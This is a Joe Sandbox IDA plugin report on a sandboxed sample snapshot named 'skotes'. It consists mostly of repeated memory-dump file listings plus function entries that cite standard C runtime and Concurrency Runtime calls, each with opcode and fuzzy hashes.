Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 6066f04ef527f85de85b1ea5e477aa5588171867eaa3a3f5e6f42ac5b5dac70e
Instruction ID: 2928db8255e50c7629cfc09a831d7f7dacad48ce4ceacaeefd132337a6ecf563
Opcode Fuzzy Hash: 6066f04ef527f85de85b1ea5e477aa5588171867eaa3a3f5e6f42ac5b5dac70e
Instruction Fuzzy Hash: 9A014970BC3715A9FA317B796D01F9B12CC8B82B4DF061155FD04E3190EEA0DC4A8271

Function 00944C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00944C98
__alloca_probe_16.LIBCMT ref: 00944D5E
__freea.LIBCMT ref: 00944DCA

Part of subcall function 0093B04B: RtlAllocateHeap.NTDLL(00000000,707E67F5,?,?,0091D3FC,707E67F5,?,00917A8B,?,?,?,?,?,?,00907465,?), ref: 0093B07E

__freea.LIBCMT ref: 00944DD3
__freea.LIBCMT ref: 00944DF6

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 033b963dfa578f3ac46cd236101d45e9b031a21332e6cfadb97b8f38c1d1843f
Instruction ID: 7bd5da860d4ddbc4f2ae4cbf44dc0e3804d0fcd2a01d572389aabab94a848247
Opcode Fuzzy Hash: 033b963dfa578f3ac46cd236101d45e9b031a21332e6cfadb97b8f38c1d1843f
Instruction Fuzzy Hash: 4751F672A00216AFEB255F64DC81FFB37ADDF85750F194629FD14A7194EB34EC108AA0

Function 0092E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0092E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0092E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0092E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0092E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0092E9DC

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 8ba33be7e85515af7368b93f36ac10484b83cdb8f49c98db91e7b38557c4275c
Instruction ID: ca55600718a736f9779d388b3bef3cf3db18d6ce9665daa0b517d6ead3ca2065
Opcode Fuzzy Hash: 8ba33be7e85515af7368b93f36ac10484b83cdb8f49c98db91e7b38557c4275c
Instruction Fuzzy Hash: BE416039A00619EFCF09DF64D594AADB7B5FF88310F04815AE416AB394CB34AE41CF80

Function 0091ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0091ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0091ED17

Part of subcall function 0091F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0091F3FA

__alloca_probe_16.LIBCMT ref: 0091ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0091ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0091EDC6

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 16ddbd5c90731d40c3d0f0e5282a572de791ba848bdefa8f5f65346757d9321d
Instruction ID: 2d755640a73cd1923a9d22c6a23dcd327b44ae9441429515920e7256445cd8e5
Opcode Fuzzy Hash: 16ddbd5c90731d40c3d0f0e5282a572de791ba848bdefa8f5f65346757d9321d
Instruction Fuzzy Hash: E9317C75F0021D8BCB15DFA8D9416EDB7B8AF49310F64406AE855E7390DB349E82CBA4

Function 0092D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0092D344
ListArray.LIBCONCRT ref: 0092D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0092D370
ListArray.LIBCONCRT ref: 0092D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0092D3B3

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 15477bef9be0ba905444461634052bec3525f5222c8f70a5ffb3b0cf8d6ee43a
Instruction ID: c518bb256d5664c67dd70851c7791c6ab0e952bf5d93f9c799dfc9c8565abe28
Opcode Fuzzy Hash: 15477bef9be0ba905444461634052bec3525f5222c8f70a5ffb3b0cf8d6ee43a
Instruction Fuzzy Hash: C631B075701220EFCB09DF54D884BADB7AABF89314F140099E8069B39ACB74ED41CB92

Function 009286C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009286EE

Part of subcall function 0091EAD0: _SpinWait.LIBCONCRT ref: 0091EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00928702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00928734
List.LIBCMT ref: 009287B7
List.LIBCMT ref: 009287C6

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
